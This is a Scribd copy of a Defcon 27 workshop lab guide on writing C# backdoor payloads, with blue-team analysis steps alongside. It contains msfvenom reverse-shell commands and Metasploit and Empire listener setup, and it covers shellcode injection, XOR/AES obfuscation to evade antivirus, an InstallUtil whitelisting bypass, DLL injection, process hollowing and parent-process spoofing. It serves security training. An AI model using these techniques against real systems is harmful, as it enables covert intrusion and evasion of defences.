100% found this document useful (1 vote)
236 views

WritingCustomPayloads Defcon27 LabGuide

This document provides instructions for setting up a lab environment to develop custom backdoor payloads using C#. It details how to install required software like VMware Workstation Player or VirtualBox and download Windows 10 and Kali Linux virtual machine images. It also explains how to configure the VMs and set up command and control tools like Metasploit and Empire. The labs then walk through examples of using C# to print "Hello World", call the Windows API, and create a custom Meterpreter stager that downloads the payload stage using WebClient. Tools like ProcMon and CFF Explorer are used to analyze the payloads. The goal is to learn how to write backdoors with C# by creating increasingly complex examples.

Uploaded by

Hey Dikay
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
236 views

WritingCustomPayloads Defcon27 LabGuide

This document provides instructions for setting up a lab environment to develop custom backdoor payloads using C#. It details how to install required software like VMware Workstation Player or VirtualBox and download Windows 10 and Kali Linux virtual machine images. It also explains how to configure the VMs and set up command and control tools like Metasploit and Empire. The labs then walk through examples of using C# to print "Hello World", call the Windows API, and create a custom Meterpreter stager that downloads the payload stage using WebClient. Tools like ProcMon and CFF Explorer are used to analyze the payloads. The goal is to learn how to write backdoors with C# by creating increasingly complex examples.

Uploaded by

Hey Dikay
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 35

Writing backdoor payloads

with C#

August 2019 - Defcon 27

Presented by:

Mauricio Velazco (@mvelazco)


Olindo Verrillo (@olindoverrillo )
Defcon 27 - Writing custom backdoor payloads with C#

Lab 0 - Environment Set Up

Install Required Software

Note: Commands will be​ ​bolded

Download Virtualization Software like VMware Workstation Player


(​https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/vmware_workstati
on_player/15_0​) or VirtualBox (​https://www.virtualbox.org/wiki/Downloads​)
Note: Although both work, the labs in this guide were prepared and tested using Vmware
Workstation Player.

Download a Windows 10 Image


(​https://developer.microsoft.com/en-us/windows/downloads/virtual-machines​)
For this machine, the recommendation is to allocate at least 4 GBs of RAM and 2 CPUs

Download a Kali Linux image


(​https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/​)

Virtual Machine networking settings:

While setting up your machines initially, it is best to


leave them both in NAT mode to install the
required software

Once you have them setup, switch your Kali Image


to Host-Only. This will allow you to accept reverse
shells on your Kali system and since you won’t
require internet access, we can eliminate
unnecessary configurations.
Defcon 27 - Writing custom backdoor payloads with C#

Let's set up our Windows VM where we will be doing all of our C# work. First, let’s disable
Windows Defender to avoid having issues with it.

From the start menu, type in ​gped.msc​ and navigate to:

Computer Configuration > Administrative Templates > Windows Components > Windows
Defender Antivirus

And ​Enable​ “Turn off Windows Defender Antivirus”

Now let’s download and install some tools:

- Your favorite text editor: Notepad++ (​https://notepad-plus-plus.org/download​), Sublime


Text (​https://www.sublimetext.com/3​), etc.
- ProcessExplorer
(​https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​)
- Process Monitor (​https://docs.microsoft.com/en-us/sysinternals/downloads/procmon​)
- Process Hacker (​https://processhacker.sourceforge.io/downloads.php​)
- CFF Explorer (​https://ntcore.com/?page_id=388​)
- MinGW-W64 (​https://sourceforge.net/projects/mingw-w64/​)
- dnSpy (​https://github.com/0xd4d/dnSpy/releases​)
Defcon 27 - Writing custom backdoor payloads with C#

Note: When installing MinGW-W64, make sure you select Architecture of x86-64

Download the workshop code repository: ​https://github.com/mvelazc0/defcon27

Set up Command & Control tools and listeners

In your Kali Image:


- Install Twistd: ​pip install twistd
- Ensure Metaploit is functional
- Run ​msfconsole ​and setup a listener:
- use exploit/multi/handler
- set payload windows/x64/meterpreter/reverse_https
- set LHOST [YOUR_IP]
- set LPORT 8080
Defcon 27 - Writing custom backdoor payloads with C#

- Download the PowerShell Empire repository and install it


- git clone​ ​https://github.com/EmpireProject/Empire.git
- From within the repo, run: ​sudo ./setup/install.sh
- When prompted for a password, just press Enter

- Once installed, launch Empire and setup a listener (listeners > uselistener meterpreter)
- listeners
- uselistener http
- info ​[review all the options]
- set Host https://[YOUR_IP]:443
- set Port 443
- execute
Defcon 27 - Writing custom backdoor payloads with C#

Confirm Network Connectivity

Final Step, ensure both VMs can communicate. This is an important requirement to develop the
labs. First, ensure they can ping each other.

To confirm they can properly communicate, and that the implants will be able to communicate to
the C2 server, setup a Web server using python’s SimpleHTTPServer from within your Kali
system by running: ​python -m SimpleHTTPServer ​and access it from the Windows system by
opening a browser and visiting ​http://[Kali_Ip]:8080

This confirms the Windows host is able to communicate to the Kali Linux over TCP. We are
ready!
Defcon 27 - Writing custom backdoor payloads with C#

Lab 1 - Hello World


The goal of this lab is to implement the typical Hello World example with C#. The first exercise
uses .NETs Console class to print “Hello World” while the second uses .NETs Platform
Invocation Services feature to import and call the Win32 Api MessageBox.

Exercise 1
From within the Lab 1 directory, compile 1.cs using CSC by running:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1.cs

You should now see a new file in your directory, labeled 1.exe. Launch it and you should see
our message. Try changing the code on the source code and recompiling to print a different
message.

Exercise 2
Similar to the previous example, compile 2.cs and launch 2.exe. Change the MessageBox text
on the source code and try again to get a different message.
Defcon 27 - Writing custom backdoor payloads with C#

Review 1.exe and 2.exe with our Blue team tools.

For example, let’s take a look at 1.exe with CFF explorer. Launch CFF Explorer and load 1.exe
by selecting Open and navigating to our newly created executable. Once the executable has
been loaded, select the Import Directory to see all of the programs Imports.

We can see that the only imported dll is mscoree.dll, which makes sense because that DLL
contains the .Net framework runtime.
Defcon 27 - Writing custom backdoor payloads with C#

Now let’s examine 2.exe with ProcMon. For this, we are going to use ProcMon to monitor the
behavior of 2.exe dynamically.

Note: When using ProcMon,


you may want to set a filter by
selecting Filter and supplying
an identifying attribute like
Process Name. Make sure to
Press Add before hitting OK.

Additionally, it may also be


helpful to narrow your Events
by just selecting those you
are interested, like Process
and Thread Activity

With ProcMon open and a filter set, we can identify when 2.exe loads the user32.dll library.
Defcon 27 - Writing custom backdoor payloads with C#

Lab 2 - Custom Meterpreter Stager


The goal of this lab is to write a custom Meterpreter stager with C# by leveraging the WebClient
class to download meterpreter’s second stage and Win32 API functions to copy the second
stage in memory and execute it.

Exercise 1 - Identify Meterpreter’s second stage URL

Within your Kali image, create a meterpreter reverse shell binary payload

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=Your_Kali_IP LPORT=8080


-f exe > ~/reverse.exe

Transfer the payload to your Windows system by opening up a SimpleHTTPServer just as you
did on the first Lab.

python -m SimpleHTTPServer

From the Windows box, using a web browser, connect Ip address of the Kali Linux on the
defined port (the default is 8000 ) and download the binary.
Defcon 27 - Writing custom backdoor payloads with C#

Note: Defender SmartScreen may


warn you about your download,
simply select More info > Run
Anyway

Before you execute your payload, setup a listener to catch your shell as shown before.
Defcon 27 - Writing custom backdoor payloads with C#

Once your listener is running, execute the payload on your Windows system and you should
obtain a shell.

Review the activity from your payload in one of our blue team tools. One interesting artifact are
the network connections you can review in Process Hacker
Defcon 27 - Writing custom backdoor payloads with C#

Msfvenom’s stager downloads the second stage from the C2 and executes it in memory. As we
want to create a custom stager, we need to identify the second stage’s URI. To do this, we will
start a Web Server on the same port as the metasploit listener to log incoming requests.

First, let’s generate a key and certificate with OpenSSL. This will be used to configure a
SimpleHTTPServer that operates over HTTPS.

In Kali, from your home directory, run the following:

openssl genrsa > privkey.pem


openssl req -new -x509 -key privkey.pem -out cert.pem -days 365
twistd -n web -c cert.pem -k privkey.pem --https=8080

You should now have an HTTPS-friendly web server listening on port 8080.

Now back to your Windows system, execute your payload again while running the web server to
capture the request of stage 2. You should see a URL appear in the log of the web server:

Note: If you see error “[Errno 98] Address already in use” You will have to stop the metasploit
listener for twistd to work.

Exercise 2 - Using Web.Client


Within the Lab 2 folder, take some time to review and understand the source code.
Compile and execute 1.cs. Upon launching the executable, you should see a screen similar to
the below.

Note: Your Windows VM will need internet access in order to fetch the content from google.
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 3 - Creating a Customer Stager

Final exercise, let's create our custom stager.

Copy the URL and paste it into the URL variable, within the Lab 2 folder, in 2.cs

Compile 2.cs and execute 2.exe. Don't forget to stop the ​twistd ​Web Server and start the
meterpreter listener again as shown above before executing your payload.
You should now have a shell, congratulations!
Defcon 27 - Writing custom backdoor payloads with C#

As you can see on the screenshot, the current binary keeps a console Window open which can
be easily spotted and closed by the victim.

Process Explorer shows the command & control network connections on port 8080.
Defcon 27 - Writing custom backdoor payloads with C#

On the Strings tab, we can identify the URL being used for the second stage.

Capture The Flag #1

As shown on the screenshot above, the payload opens a console window that will be visible to
the victim and easy to spot. Change the source code of Exercise 2 to hide the console using
Windows API calls.
Defcon 27 - Writing custom backdoor payloads with C#

Lab 3 - Raw Shellcode Injection


The goal of this lab is to write a custom binary that injects a pre defined shellcode into memory
and executes it. Metasploit’s msfvenom will be used to generate the shellcode and the same
Win32 API calls used in Lab 2 will be used to perform the execution.

Exercise 1 - Message Box


Before we dive into generating shellcode to use for injection, let's start with popping a message
box first.

msfvenom -a x64 -p windows/x64/messagebox Text="Hello from shellcode !" -f csharp

And then from within the Lab 3 folder, replace the byte array variable with the one you just
generated with msfvenom (don’t forget to change the byte size). Then compile 1.cs and execute
1.exe.
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 2 - Getting a shell


Now lets recreate these steps but with the goal of getting a shell. First, generate a C# shellcode
and define your Kali system’s IP as the LHOST.

msfvenom -a x64 -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP


LPORT=8080 -f csharp

Delete 1.exe

In 1.cs, replace the previous byte array variable once again. Make sure your metasploit listener
is active or start one again

- use exploit/multi/handler
- set payload windows/x64/meterpreter/reverse_https
- set LHOST YOUR_IP
- set LPORT 8080

Compile 1.cs again with your new shellcode embedded and execute 1.exe. You should have
gotten a shell, congratz!

Now for a blue team look. With your shell still active, open up Process Hacker and look for
1.exe. As you will see, the parent process is explorer.exe. For a security analyst analyzing
running processes, this binary will be easy to spot.
Defcon 27 - Writing custom backdoor payloads with C#

A great tool to use when analyzing .NET applications is dnSpy. Let’s decompile 1.exe and take
a look at what it gives us. Launch dnSpy and open 1.exe with File > Open. Then on the left hand
side, select Program. This would be incredibly helpful as an analyst responding to this!
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 2 - Bypassing Application Whitelisting


In this exercise we will abuse the legitimate signed Windows binary InstallUtil.exe and get it
execute our malicious assembly. This technique is called living off the land and is used by
attackers to circumvent controls and avoid detection.

Take some time to review the source code of 2.cs and compile it.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 2.cs

Now, launch 2.exe, you should see a simple message display. Now for the bypass, we can
execute the following command to get InstallUtil.exe to run our assembly, instead of launching it
directly.

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile=
/LogToConsole=false /U 2.exe

As you can see, we can abuse InstallUtil.exe and get it to run our code. This way we can
bypass application whitelisting technologies and look less suspicious to an analyst.

Capture The Flag #2

Modify Exercise 2’s source code to obtain a meterpreter shell by abusing InstallUtil.exe
Defcon 27 - Writing custom backdoor payloads with C#

Lab 4 - Shellcode Obfuscation


The goal of this lab is to obfuscate the custom assemblies to reduce detection by signature
based anti malware. We can achieve this by obfuscating the shellcode generated by msfvenom
using two common techniques: XOR and AES.

Exercise 1 - XORing Your Payload


One of the easiest ways to obfuscate your payload is by using XOR. To do this, copy your
shellcode the last exercise and paste it into the shellcode variable within 1.cs inside the Lab 4
folder (remember to change the byte size)

Once complete, compile 1.cs and execute 1.exe but this time, do so from the command line.

After you execute 1.exe, you will see shellcode. Let’s copy and paste this into 2.cs (again,
remember the byte size).

Now prepare a listener within your Kali image to accept your shell.

Compile 2.cs and execute 2.exe. You should have gotten a shell, congratz!
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 2 - AESing Your Payload


We’re going to take this one step further and encrypt our shellcode. First, let’s generate the AES
encrypted shellcode by pasting our raw shellcode from the last Lab into 3.cs within the Lab 4
folder.

Compile 3.cs and execute 3.exe from the command line. Again, you should see shellcode
displayed. This time, there will be two sets of shellcode generated. The first one is your
encrypted payload, the second is the base, raw payload.

Now copy this shellcode and paste it into the shellcode variable within 4.cs (notice the byte size
may have changed!)

Get a listener ready to accept your shell.

Compile 4.cs and execute 4.exe. You should have gotten a shell, congratz!
Defcon 27 - Writing custom backdoor payloads with C#

For a blue team perspective, let’s open up 4.exe in dnSpy and try to identify the encrypted
shellcode. Similar to before, load the file and navigate to the Program section. There you should
see our decompiled program.

Lab 5 - PowerShell without PowerShell.exe


The goal of this lab is to execute a Powershell script and avoid to use the powershell.exe binary
by leveraging the .NET framework and C#. Using this technique, we will get a Powershell
Empire agent.

Exercise 1 - Executing PWS Cmdlets


For our first exercise, we are going to start working with some basic PowerShell cmdlets. In
order to do so, we will need to modify our compilation command to include a reference to
PowerShell.

From within the Lab 5 folder, compile 1.cs:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:"C:\Program Files


(x86)\Reference
Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll" 1.cs
Defcon 27 - Writing custom backdoor payloads with C#

And then execute 1.cs

After some text scrolls by, you should see calculator spawn.

Exercise 2 - Getting PowerShell Empire agent


We are now going to use these concepts to get a shell with Empire. First, lets start up Empire,
get a listener going and generate our shellcode. From within the directory where you installed
Empire, run
- ./empire
- listeners
- uselistener http
- Configure your listener
- launcher powershell

Note: You may have to go back to Lab 0 to learn how to set up an Empire listener.

We now have a PowerShell one-liner we can use to launch our payload


Defcon 27 - Writing custom backdoor payloads with C#

Copy just the encoded shellcode portion (​do not include powershell -noP -sta -w 1 -enc)​ and
paste it into the “String script” variable of 2.cs within the Lab 5 folder.

Compile 2.cs, including the /reference like we did in the last exercise and execute 2.exe. Check
back on your Empire session and you should have a shell, congratz! Feel free to run a few
PowerShell Empire commands

Finally, let’s take a look at this in Process Explorer. First, take a look at the process spawning
behavior of 2.exe. And with 2.exe selected and the Lower Pane view enabled (and looking at
DLLs), scroll down until you see some PowerShell references. Pretty interesting!
Defcon 27 - Writing custom backdoor payloads with C#

Lab 6 - DLL Injection


The goal of this lab is to implement the DLL Injection technique using C# and obtain a reverse
shell from a victim host. Using 3 different exercises, we will understand and implement the
different steps for a successful injection.

Exercise 1 - Processes & Handles


For this exercise, we are going to start learning about the steps we could take to inject a
payload into another running process. Lets start by simply compiling 1.exe and executing 1.exe
on the CLI (no need for the /reference since we are not working with PowerShell)

Once you execute 1.exe, you should be prompted to enter an ID. The Process ID (PID) can be
found at the end of each line. Enter any ID to continue. After you enter a PID, you will then see
all of the DLLs used by that Process. To confirm, let's open up Process Explorer.
Defcon 27 - Writing custom backdoor payloads with C#

In Process Explorer, ensure you are viewing DLLs for a given process by going to View and
checking “Show Lower Pane”. Once that is checked, go back to View > Lower Pane View and
check DLLs.

Highlight the same PID that you entered into the console and confirm the DLLs are the same.

Exercise 2 - Writing to Another Processes’ Memory


In this exercise, we are going to take a look at allocating and writing to the memory of another
process. First, compile 2.cs and execute 2.exe in the CLI. Enter a PID, and you should see the
following.

Now let's examine what's happening with Process Hacker. In Process Hacker, find the PID you
just entered in the last step and double click it.
- Go to the Memory tab
- Click the “Strings” button
- Ensure the Minimum Length is 10
- At the next screen, click “Filter” > “Contains” and enter “AAA”

And you should see the AAA’s that we injected into that process!
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 3 - Injecting a MessageBox


Now let's put it all together. We are going to inject a running process with a Message Box. But to
make it more fun, we are going to compile our own DLLs using MinGW-W64.

MinGW-W64 should have installed in this location:


C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0

From that location, launch mingw-w64.bat, a new console should appear.

Change directories back to your Lab 6 directory

Now compile the DLL:


gcc -m64 -shared -o aMessageBoxDll_64.dll MessageBoxDll\MessageBoxDll.cpp

We can test the MessageBox DLL works with:

rundll32 aMessageBoxDll_64.dll, Main


Defcon 27 - Writing custom backdoor payloads with C#

Great, now we have a working DLL! Now for the final portion, change the directory on line 68 of
3.cs, within the Lab 6 folder to match the directory of your newly-compiled DLL.

Open Process Explorer and look for a 64-bit process to inject.

Note: You may need to enable the column by


right clicking the column names > Select
Columns > Image Type (64 vs 32-bit)

Compile 3.cs and double-click 3.exe

Enter the PID of the 64-bit process you


selected. A Message Box should have
popped up!

Note: It may be hidden under other windows!

Now let’s check something for fun. Remember how 1.exe from this lab listed all of the DLLs a
process used? Launch it on the same PID you just entered into 3.exe. One of those DLLs
should look awfully familiar!
Defcon 27 - Writing custom backdoor payloads with C#

Open up Process Hacker or Process Explorer and find your process. If you look at the DLLs
loaded, you should see our aMessageBox DLL!

Capture The Flag #3

Using the source code under the ​ShellcodeInjectionDll ​folder as a guide, create your own DLL
that provides a reverse meterpreter shell. Once you have that, modify Exercise 3 to identify
explorer.exe and inject the malicious DLL into its memory space without user interaction.
Defcon 27 - Writing custom backdoor payloads with C#

Lab 7 - Process Hollowing


The goal of this lab is to understand and implement the Process Hollowing technique using C#
technique to obtain a reverse shell on a victim host.

Exercise 1 - Starting & Suspending Processes


For this exercise, we are going to be taking a look at Process Hollowing. This involves halting a
running process, so let's give it a try!

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1.cs

Compile 1.cs and execute 1.exe from the CLI.

Open up Process Explorer and identify the process you selected (if you left default, the process
will be msiexec.exe)

The program you added to your code will be launched (if you left the default, don’t click OK in
the new window that pops up)

Follow the prompts provided by 2.exe and observe your process in Process Explorer. While on
a suspended state, try to try to interact with the graphical GUI. Can you do it ?
Defcon 27 - Writing custom backdoor payloads with C#

Exercise 2 - Getting a Shell


Now let's do the same thing, but resulting in a shell this time. Inside the Lab 7 folder, within 2.cs,
paste your shellcode in the shellcode variable.

Get a handler ready to accept your incoming shell

Compile 2.cs and execute 2.exe

You should see the screen below, as well as an Explorer window popup. And if you check back
in Kali, you should also have a shell, congratz!

Using Process Explorer, you can see userinit.exe running our malicious code. How easy or
difficult would it be for a security analyst to determine if the process is malicious ?
Defcon 27 - Writing custom backdoor payloads with C#

Try changing the binary variable inside 2.cs and then analyze the results with Process Explorer
or Process Hacker. For example, after setting the binary to spawn notepad.exe and then
launching the payload with Process Explorer open, we can confirm the PID in which our shell
exists.

Exercise 3 - Getting a Shell (but differently)


For this exercise, we are going to wind up with the same result as exercise 2, but doing it
slightly different. This time, we’ll use the CreateProcess API call to start the process in a
suspended state.
Defcon 27 - Writing custom backdoor payloads with C#

Lab 8 - Parent Process Spoofing


The goal of the final lab is to leverage C# to spawn a new process spoofing its parent process
and inject shellcode to it to obtain a reverse shell.

Exercise 1 - Basic Parent Spoofing


A good way to avoid having your payload detected is to blend into a victim’s environment. For
example, if you see that all devices have a similar naming convention, then you may want to
adopt that convention with your attacking system. To translate that concept to our payload, we
want to avoid introducing new/unique processes or technologies into a victim environment. One
of the ways we can do that is by spoofing the Parent Process of our payload.

Within the Lab 8 folder, compile 1.cs and execute 1.exe, follow the prompts in your console.

After you have successfully launched notepad.exe under the PID you provided, open Process
Explorer and look for your Parent Process. You should see notepad.exe as a child of that.
Defcon 27 - Writing custom backdoor payloads with C#

Capture The Flag #4

Modify the source code of Exercise 1 to obtain a reverse shell using the parent process
spoofing technique. Use what you have learned on previous labs or exercises.

You might also like